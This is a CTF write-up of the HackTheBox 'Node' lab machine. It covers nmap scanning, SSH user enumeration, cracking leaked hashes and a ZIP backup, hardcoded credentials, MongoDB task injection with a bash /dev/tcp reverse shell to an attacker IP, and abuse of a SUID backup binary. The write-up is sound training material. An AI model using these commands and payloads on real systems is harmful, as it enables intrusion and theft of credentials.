> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md). # Node HackTheBox Writeup Node HackTheBox Medium Linux machine writeup covering Information Leakage, API Enumeration, Cracking Hashes, Cracking ZIP file, with practical enumeration, exploitation, foothold, and privilege escala {% embed url="" %} {% hint style="warning" %} **Skills:** * Information Leakage * API Enumeration * Cracking Hashes * Cracking ZIP file * Backup Download - Stored credentials * MongoDB Enumeration * Mongo Task Injection - Command Injection (User Pivoting) * SUID Backup Binary Exploitation - Dynamic Analysis {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts ```

/*/Analysis of open ports with extractPorts (22.3000) //* Using the extractPorts function to in a concise format display open ports and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,3000 10.10.10.58 -oN targeted ```

### **Port 22 - SSH** We note that the version is vulnerable to user listing because it is less than version 7.7. This allows you to try a user list. Using `searchsploit` to find an exploit ```bash searchsploit -m linux/remote/45939.py ```

We use this exploit to check whether a user is valid or not: ```bash python2.7 45939.py 10.10.10.58 root 2>/dev/null python2.7 45939.py 10.10.10.58 pepito 2>/dev/null ```

## Port 3000 - HTTP We find several potential users: `tom`, `mark`, `rastating`.

SSH enumeration with `45939.py` to test users: ```bash python2.7 45939.py 10.10.10.58 tom 2>/dev/null python2.7 45939.py 10.10.10.58 mark 2>/dev/null python2.7 45939.py 10.10.10.58 rastating 2>/dev/null ``` We note that `tom` and `mark` are valid users.

### List of directories: We use `gobuster` to enumerate directories on port 3000: ```bash gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861 ``` No interesting information was found. However, by exploring network queries in Firefox, we find a `latest` file that calls an API.

### Exploration of the API: The API contains a `/users` route that returns sensitive information, including password hashes for several users:

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af` * `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240` * `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73` * `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

### Password cracking: We use `crackstation` to crack users' passwords. {% embed url="" %}

The decoded passwords are as follows: * `myP14ceAdm1nAcc0uNT` : `manchester` * `tom`: `spongebob` * `mark`: `snowflake`

We manage to connect with the user `myP14ceAdm1nAcc0uNT` in the administration panel.

### Downloading Backup: The `myP14ceAdm1nAcc0uNT` user allows us to download a backup file.

The downloaded file contains a Base64 string.

We decode it into a ZIP file: ```bash cat myplace.backup | base64 -d > myplace.zip ```

### Brute Force on ZIP file: **Extract the hash with `zip2john`**: So we'll use zip2john to extract the hash ```bash zip2john myplace.zip > hash ```

**Password tracking with `john`**: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` **Result**: Password found - `magicword`

We manage to unzip the ZIP file, which contains a site backup in the `/var` directory.

### Exploration of `app.js`: In the `app.js` file, we find sensitive information, including a user (`mark`) and associated password to access the database: * `mark` : `5AYRft73VtFpc84k`

#### SSH connection with `mark`: We use the recovered information to connect to SSH with the user `mark`: ```bash ssh mark@10.10.10.58 ``` Password: `5AYRft73VtFpc84k` We now have access to the target machine.

## Pivoting User Tom We now need to rotate to user **tom**.

### Connection to MongoDB base Looking at the current processes, we notice that **tom** runs a `app.js` file with Node.js.

This file connects to the `scheduler` database using the same credentials as the user **mark**.

To access the database, we use **mark** credentials: ```bash mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler ```

### Reverse Shell MongoDB The `app.js` script executes system commands from MongoDB documents (via `doc.cmd`). This presents a critical vulnerability, as arbitrary commands can be injected and executed.

To confirm that we can execute commands via MongoDB **Create a local web server** On the attacking machine, run a web server to observe requests: ```bash python3 -m http.server 80 ``` **Insert a test command in the `tasks` collection** In MongoDB, insert a command that performs an HTTP query to your attacking machine ```bash db.tasks.insert({ cmd: "curl http://10.10.14.30"}) ``` **Observe requests** If you see a query in the web server logs, this confirms that the commands are executed.

Launch a reverse shell. on se met en ecoute port 443 ```bash nc -nlvp 443 ``` #### Launch a Reverse Shell **Configure earphone on port 443** On the attacking machine: ```bash nc -nlvp 443 ``` **Insert shell reverse command** In MongoDB, insert a command to establish a shell reverse: ```bash db.tasks.insert({ cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"}) ``` **Successful connection** Once the command is executed, you get an interactive shell on the target machine under the user **tom**.

#### Terminal Stabilization ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag user.txt :)

## Privilege Escalation ### SUID Binary (backup) To search for files with the enabled SUID bit, the following command is used: ```bash find / -perm -4000 2>/dev/null ``` This allows us to find a binary called `backup`.

The owner of the binary is `root`, which means it runs with root user privileges.

When we try to run this binary directly, nothing happens. However, by testing different entries, we discover that it accepts a string of three characters separated by spaces, which reveals the available functions: ```bash /usr/local/bin/backup a d g ```

By looking at the `app.js` file, we find information about the use of binary, as well as a key needed for its execution. The key is located at the top of the file.

To use binary, we need to provide the key, followed by the directory path to save. `45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root ``` This generates a Base64 output.

The Base64 output can be decoded into a `.zip` file using the following command: {% code overflow="wrap" %} ```bash echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip ``` {% endcode %}

The zip file is password protected. We use the password found previously * password: `magicword` However, the `root.txt` file contained in the archive is a lure (rabbit hole).

### Detailed analysis with `ltrace` Using `ltrace`, we observe that the binary compares the path `/root` with that provided in argument. If the paths match, it displays a troll cartoon.

To bypass this check, we run the binary from the root (`/`) by requesting a backup of `root` ```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root ```

The new release is also in Base64. We decode it to get the final content: {% code overflow="wrap" %} ```bash echo "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" | base64 -d > root.zip ``` {% endcode %} ### Flag root.txt :) By extracting the final file, we access the desired content.

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